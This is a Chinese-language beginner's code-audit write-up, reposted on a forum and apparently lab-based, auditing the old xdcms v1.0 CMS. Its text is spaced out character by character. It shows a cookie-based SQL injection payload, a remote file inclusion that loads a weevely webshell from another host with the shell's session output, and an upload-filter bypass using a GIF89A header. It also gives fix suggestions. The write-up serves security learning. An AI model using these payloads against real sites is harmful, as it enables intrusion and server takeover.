搜索

[27937] 2019-11-27_代码审核新手入门——xdcms_v1.0

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2019-11-27_代码审核新手入门——xdcms_v1.0 代 码 审 核 新 手 入 门 — — x d c m s _ v 1 . 0 O t s 安 全   2 0 1 9 - 1 1 - 2 7 对 x d c m s 的 一 次 审 核 练 习 ， 萌 新 入 坑 必 备 前 言 大 家 好 ， 我 是 k n 0 s k y ， 这 次 整 了 一 个 以 前 以 前 的 小 C M S 进 行 练 手 ， x d c m s ， 版 本 ： v 1 . 0 ， 这 个 C M S 虽 然 有 点 老 ， 但 是 使 用 新 手 入 门 练 手 倒 是 挺 不 错 的 ， 在 这 里 ， 你 可 以 接 触 学 习 到 多 个 s q l 语 句 的 S Q L 注 入 扩 展 ， 多 个 文 件 操 作 漏 洞 等 等 … … 审 计 的 思 路 是 ： 1 .   先 大 概 浏 览 一 下 源 代 码 ， 看 看 代 码 的 逻 辑 大 概 是 怎 么 运 行 的 ， 找 找 关 键 的 文 件 2 .   然 后 按 照 功 能 点 进 行 测 试 环 境 准 备 ： W i n d o w s   7 虚 拟 机 x d c m s _ v 1 . 0 原 始 码 P H P S t u d y ： P H P   5 . 2 . 1 7   +   M y S Q L   5 . 7 . 2 6 （ 因 为 这 个 C M S 太 老 了 ， 选 新 版 本 的 P H P 容 易 出 问 题 ） 废 话 不 多 说 ， 直 接 开 始 吧   审 计 开 始 通 读 代 码 的 时 候 注 意 了 ！ 不 要 直 接 拿 到 源 码 就 去 读 ！ 不 要 直 接 拿 到 源 码 就 去 读 ！ 我 们 需 要 先 在 虚 拟 机 的 p h p s t u d y 上 把 x d c m s 部 署 好 ， 访 问 虚 拟 机 I P 进 入 x d c m s 的 安 装 ， 安 装 完 之 后 ， 注 意 啦 注 意 啦 ， 这 个 时 候 把 安 装 完 成 的 二 进 制 复 制 出 来 ， 用 这 个 二 进 制 进 行 审 计 ！ 因 为 啊 ， 有 些 文 件 啊 ， 是 在 你 安 装 完 C M S 之 后 才 会 出 现 的 ， 拿 安 装 之 前 的 C M S 去 审 核 ， 会 有 些 东 西 找 到 的 文 件 目 录 如 下 所 示 ：
到 此 ， 我 们 可 以 正 式 开 始 代 码 审 核 啦 大 概 浏 览 网 站 源 代 码 通 过 跟 读 i n d e x . p h p 文 件 （ 这 个 C M S 的 i n d e x . p h p 里 面 文 件 包 含 里 又 是 文 件 包 含 ， 一 层 又 一 层 ） ， 跟 读 到 文 件 ， 这 里 面 开 始 就 是 网 站 的 功 能 和 内 容 了 浏 览 目 录 ， 不 难 发 现 ： 网 站 的 主 要 功 能 应 该 都 在 系 统 目 录 中 了 系 统 目 录 下 ： f u n c t i o n 目 录 里 装 的 都 是 网 站 的 功 能 的 函 数 l i b s 目 录 里 装 的 都 是 各 种 功 能 的 类 m o d u l e 目 录 里 装 的 也 是 不 同 页 面 的 功 能 的 函 数 u p l o a d f i l e 目 录 ： 应 该 跟 文 件 上 传 有 关 a p i 目 录 下 ： i n d e x 文 件 有 个 文 件 包 含 和 两 个 安 全 过 滤 函 数 d a t a 目 录 下 ： c o n f i g . i n c . p h p 文 件 为 数 据 库 配 置 信 息 文 件 ， 这 个 文 件 就 是 安 装 完 成 之 后 才 生 成 出 来 的 / s y s t e m / f u n c t i o n / f u n . i n c . p h p
到 这 里 ， 我 们 来 整 理 一 下 现 有 的 信 息 ： 接 下 来 直 接 开 始 测 试 吧 按 功 能 点 进 行 测 试 按 照 正 常 用 户 的 使 用 流 程 先 来 走 一 遍 看 看 ， 这 里 的 注 册 功 能 存 在 I P 地 址 伪 造 ， 不 过 没 啥 用 ， 就 跳 过 吧 ， 这 里 的 注 册 页 面 只 有 注 册 ， 登 录 两 个 选 择 ， 连 个 找 回 密 码 都 没 有 注 册 好 用 户 之 后 ， 进 入 普 通 用 户 的 后 台 看 看 普 通 用 户 会 员 中 心 存 在 多 处 S Q L 注 入 扩 展 -   数 据 库 采 用 G B K 编 码 ， 可 能 存 在 宽 字 节 注 入 -   网 站 的 主 要 功 能 在 s y s t e m 目 录 下 -   a p i 目 录 下 的 i n d e x 可 能 存 在 文 件 包 含 漏 洞 -   网 站 的 功 能 是 通 过 访 问 i n d e x . p h p 的 G E T 参 数 m ， c ， f 来 选 择 的 ， m 是 文 件 夹 ， c 是 文 件 ， f 是 函 数 调 用 ， 比 如 后 台 的 m = x d c m s
这 个 页 面 除 了 ， ， ， 这 四 个 功 能 之 外 ， 其 他 功 能 都 用 不 了 那 就 一 个 一 个 点 点 看 看 吧 ： 我 心 爱 的 小 b u r p 我 的 订 单 资 料 管 理 修 改 密 码 信 息 管 理
点 击 资 料 管 理 后 ， 请 求 地 址 为 i n d e x . p h p ， 请 求 参 数 为 m   =   m e m b e r ， f   =   e d i t ， 我 们 跟 着 i n d e x . p h p 去 看 看 这 两 个 参 数 是 做 啥 的 跟 着 跟 着 就 到 了 / s y s t e m / f u n c t i o n / g l o b a l . i n c . p h p 文 件 ， 我 们 来 看 一 下 相 关 代 码 ： 大 概 意 思 就 是 文 件 包 含 模 块 目 录 下 的 成 员 目 录 ， 调 用 e d i t （ ） 方 法 这 里 的 变 量 u s e r i d 从 c o o k i e 获 取 值 没 有 经 过 过 滤 就 带 入 到 s q l 的 查 询 语 句 了 ， 还 是 i n t 型 的 注 入 ： / / 接 收 参 数 $ m = s a f e _ r e p l a c e ( i s s e t ( $ _ G E T [ " m " ] ) )   ?   s a f e _ r e p l a c e ( $ _ G E T [ " m " ] )   :   " c o n t e n t " ; $ c = s a f e _ r e p l a c e ( i s s e t ( $ _ G E T [ " c " ] ) )   ?   s a f e _ r e p l a c e ( $ _ G E T [ " c " ] )   :   " i n d e x " ; $ f = s a f e _ r e p l a c e ( i s s e t ( $ _ G E T [ " f " ] ) )   ?   s a f e _ r e p l a c e ( $ _ G E T [ " f " ] )   :   " i n i t " ; i n c l u d e   M O D _ P A T H . $ m . " / " . $ c . " . p h p " ;       / / 调 用 类 $ p = n e w   $ c ( ) ;     / / 实 例 化 $ p - > $ f ( ) ;       / / 调 用 方 法         p u b l i c   f u n c t i o n   e d i t ( ) {                 $ t h i s - > m e m b e r _ i n f o ( 0 ) ;                 $ g o u r l = $ _ G E T [ ' g o u r l ' ] ;                 $ u s e r i d = $ _ C O O K I E [ ' m e m b e r _ u s e r i d ' ] ;                 $ i n f o = $ t h i s - > m y s q l - > g e t _ o n e ( " s e l e c t   *   f r o m   " . D B _ P R E . " m e m b e r   w h e r e   ` u s e r i d ` = $ u s e r i d " ) ;                 $ i n p u t = b a s e : : l o a d _ c l a s s ( ' i n p u t ' ) ;                 $ f i e l d = b a s e : : l o a d _ c a c h e ( " c a c h e _ f i e l d _ m e m b e r " , " _ f i e l d " ) ;                 $ f i e l d s = " " ;                 f o r e a c h ( $ f i e l d   a s   $ v a l u e ) {                         $ f i e l d s . = " < t r > n " ;                         $ f i e l d s . = " < t d   a l i g n = " r i g h t "   v a l i g n = " t o p " > < s p a n   c l a s s = " t d l " > " . $ v a l u e [ ' n a m e ' ] . " ： < / s p a n > < / t d > " ;                         $ f i e l d s . = " < t d > " . $ i n p u t - > $ v a l u e [ ' f o r m t y p e ' ] ( $ v a l u e [ ' f i e l d ' ] , $ i n f o [ $ v a l u e [ ' f i e l d ' ] ] , $ v a l u e [ ' w i d t h '                         $ f i e l d s . = " < / t r > n " ;                 }                 a s s i g n ( ' g o u r l ' , $ g o u r l ) ;                 a s s i g n ( ' m e m b e r ' , $ i n f o ) ;                 a s s i g n ( " f i e l d s " , $ f i e l d s ) ;                 t e m p l a t e ( " m e m b e r / e d i t " ) ;         }
构 造 c o o k i e 中 的 m e m b e r _ u s e r i d 为 ， 可 以 发 现 这 里 的 用 户 信 息 都 消 失 了 由 此 可 判 断 验 证 这 里 存 在 s q l 注 入 漏 也 可 以 丢 到 s q l m a p 里 跑 一 下 ， 开 了 一 堆 工 具 ， 电 脑 太 卡 了 我 就 不 演 示 了 除 了 此 处 存 在 S Q L 注 入 漏 洞 ， 这 个 界 面 还 有 几 个 地 方 也 存 在 同 样 的 S Q L 注 入 漏 洞 ， 产 生 裂 缝 的 原 因 都 是 因 为 没 有 过 滤 从 G E T 请 求 中 获 得 的 m e m b e r _ u s e r i d 的 值 分 别 是 同 个 功 能 文 件 下 的 ， 到 这 里 ， 会 员 中 心 已 经 测 试 完 成 了 ， 继 续 下 一 个 功 能 修 复 建 议 ： 修 复 建 议 ： 使 用 i n t v a l 对 u s e r i d 参 数 进 行 过 滤 网 站 A P I 存 在 文 件 包 含 漏 洞 普 通 用 户 能 点 的 功 能 真 没 几 个 ， 看 看 A P I 目 录 的 i n d e x . p h p 还 真 会 有 收 获 原 始 码 如 下 ： 4   a n d   1 = 2 e d i t _ s a v e ( ) p a s s w o r d _ s a v e ( )
从 G E T 请 求 中 获 得 两 个 参 数 c 和 f ， c 是 要 调 用 类 的 p h p 文 件 名 ， 下 面 直 接 用 c 变 量 带 入 文 件 包 含 了 如 果 是 调 用 本 地 p h p 文 件 ， 直 接 输 入 目 录 加 文 件 名 立 即 直 接 调 用 ， 如 果 调 用 的 文 件 后 缀 不 是 p h p ： 可 以 进 行 0 0 截 断 如 果 p h p 配 置 文 件 打 开 G P C （ m a g i c _ q u o t e s _ g p c
） 的 话 ， 用 0 0 截 断 会 不 成 功 （ 0 0 截 断 的 条 件 ： P H P 版 本 小 于 5 . 3 ， G P C 没 有 开 启 ） 如 果 目 标 的 如 果 目 标 的 p h p 配 置 开 启 了 配 置 开 启 了 a l l o w _ u r l _ i n c l u d e 那 我 们 就 能 进 行 远 程 文 件 包 含 ， 各 种 马 ， 安 排 我 图 个 简 单 ， 用 w e e v e l y 生 成 了 一 个 ， 然 后 远 程 文 件 包 含 w e b s h e l l
要 是 不 能 远 程 文 件 包 含 ， 如 果 有 文 件 上 传 的 地 方 ， 可 以 从 这 里 本 地 文 件 包 含 一 个 图 片 马 去 g e t s h e l l k n 0 s k y @ a u d i t - L a b   ~ /   $   w e e v e l y   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 / a p i / i n d e x . p h p ? c = h t t p : / / 1 9 2 . 1 6 8 . 2 . 2 2 2 / w e e . p h p ? "   k n k n 0 / h o m e / k n 0 s k y / A p p / w e e v e l y 3 / c o r e / s e s s i o n s . p y : 2 1 9 :   Y A M L L o a d W a r n i n g :   c a l l i n g   y a m l . l o a d ( )   w i t h o u t   L o a d e r = . . .   i s   d e p r e c a t e d ,   a s   t h e   d e f a u l t   L o a d e r   i s   u n s a f e .   P l e a s e       s e s s i o n d b   =   y a m l . l o a d ( o p e n ( d b p a t h ,   ' r ' ) . r e a d ( ) ) [ + ]   w e e v e l y   3 . 7 . 0 [ + ]   T a r g e t :         1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 : C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i [ + ]   S e s s i o n :         / h o m e / k n 0 s k y / . w e e v e l y / s e s s i o n s / 1 2 7 . 0 . 0 . 1 / i n d e x _ 0 . s e s s i o n [ + ]   S h e l l :         S y s t e m   s h e l l [ + ]   B r o w s e   t h e   f i l e s y s t e m   o r   e x e c u t e   c o m m a n d s   s t a r t s   t h e   c o n n e c t i o n [ + ]   t o   t h e   t a r g e t .   T y p e   : h e l p   f o r   m o r e   i n f o r m a t i o n . w e e v e l y > 1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 : C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i   $   : s y s t e m _ i n f o [ - ] [ c h a n n e l ]   T h e   r e m o t e   s c r i p t   e x e c u t i o n   t r i g g e r s   a n   e r r o r   5 0 0 ,   c h e c k   s c r i p t   a n d   p a y l o a d   i n t e g r i t y [ - ] [ c h a n n e l ]   T h e   r e m o t e   s c r i p t   e x e c u t i o n   t r i g g e r s   a n   e r r o r   5 0 0 ,   c h e c k   s c r i p t   a n d   p a y l o a d   i n t e g r i t y + - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + |   c l i e n t _ i p                     |   1 9 2 . 1 6 8 . 7 7 . 2                                             | |   m a x _ e x e c u t i o n _ t i m e   |   3 0 0                                                               | |   s c r i p t                           |   / a p i / i n d e x . p h p                                         | |   o p e n _ b a s e d i r               |                                                                       | |   h o s t n a m e                       |                                                                       | |   p h p _ s e l f                       |   / a p i / i n d e x . p h p                                         | |   s c r i p t _ f o l d e r             |   h t t p : / / 1 9 2 . 1 6 8 . 2 . 2 2 2                             | |   u n a m e                             |   W i n d o w s   N T   K 0 - P C   6 . 1   b u i l d   7 6 0 0       | |   p w d                                 |   C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i   | |   s a f e _ m o d e                     |   F a l s e                                                           | |   p h p _ v e r s i o n                 |   5 . 2 . 1 7                                                         | |   d i r _ s e p                         |                                                                     | |   o s                                   |   W i n d o w s   N T                                                 | |   w h o a m i                           |                                                                       | |   d o c u m e n t _ r o o t             |   C : / p h p s t u d y _ p r o / W W W / x d c m s . c o m           | + - - - - - - - - - - - - - - - - - - - - + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1 2 7 . 0 . 0 . 1 : 2 8 0 0 0 : C : p h p s t u d y _ p r o W W W x d c m s . c o m a p i   $
修 复 建 议 ： 修 复 建 议 ： 可 能 的 话 ， 不 要 开 启 a l l o w _ u r l _ i n c l u d e 尽 量 避 免 目 录 过 滤 ， 过 滤   接 下 来 ， 该 用 管 理 员 登 录 网 站 了 管 理 员 后 台 上 传 图 片 + 本 地 文 件 包 含 组 合 细 分 后 台 地 址 ： h t t p ： / /   < I P >   / i n d e x . p h p ? m = x d c m s & c = l o g i n 默 认 管 理 员 账 号 密 码 ： 管 理 员 后 台 在 系 统 设 置 ， 网 站 配 置 的 基 本 信 息 那 里 ， 可 以 上 传 网 站 徽 标 这 里 的 上 传 有 个 预 设 的 图 片 后 缀 名 检 测 ： 图 片 文 件 名 检 测 ： 图 片 文 件 类 型 检 测 ： 然 后 还 有 个 文 件 名 修 改 这 里 可 以 用 G I F 8 9 A 绕 过 上 传 p n g 后 缀 的 p h p 脚 本 . . / x d c m s : x d c m s / / 判 断 上 传 是 文 件 还 是 图 片 $ t y p e = i s s e t ( $ _ G E T [ ' t y p e ' ] ) ? ( i n t ) $ _ G E T [ ' t y p e ' ] : 0 ; $ s i z e = 5 0 0 0 0 0 ; $ f o l d e r = ' i m a g e ' ; $ a l l o w e d = a r r a y (   ' g i f ' ,   ' j p g ' ,   ' j p e g ' ,   ' p n g '   ) ; i f   (   $ t h i s - > m a k e _ s c r i p t _ s a f e   ) {         i f   (   p r e g _ m a t c h (   " / . ( c g i | p l | j s | a s p | p h p | h t m l | h t m | j s p | j a r ) ( . | $ ) / i " $ F I L E _ N A M E   )   ) {                 $ F I L E _ T Y P E                                   =   ' t e x t / p l a i n ' ;                 $ t h i s - > f i l e _ e x t e n s i o n             =   ' t x t ' ;                 $ t h i s - > p a r s e d _ f i l e _ n a m e               =   p r e g _ r e p l a c e (   " / . ( c g i | p l | j s | a s p | p h p | h t m l | h t m | j s p | j a r ) ( . | $ ) / i " ,   " $ 2 "                 $ r e n a m e d   =   1 ;         } } i f   (   $ t h i s - > i m a g e _ c h e c k   ) {         $ i m g _ a t t r i b u t e s   =   @ g e t i m a g e s i z e (   $ t h i s - > s a v e d _ u p l o a d _ n a m e   ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理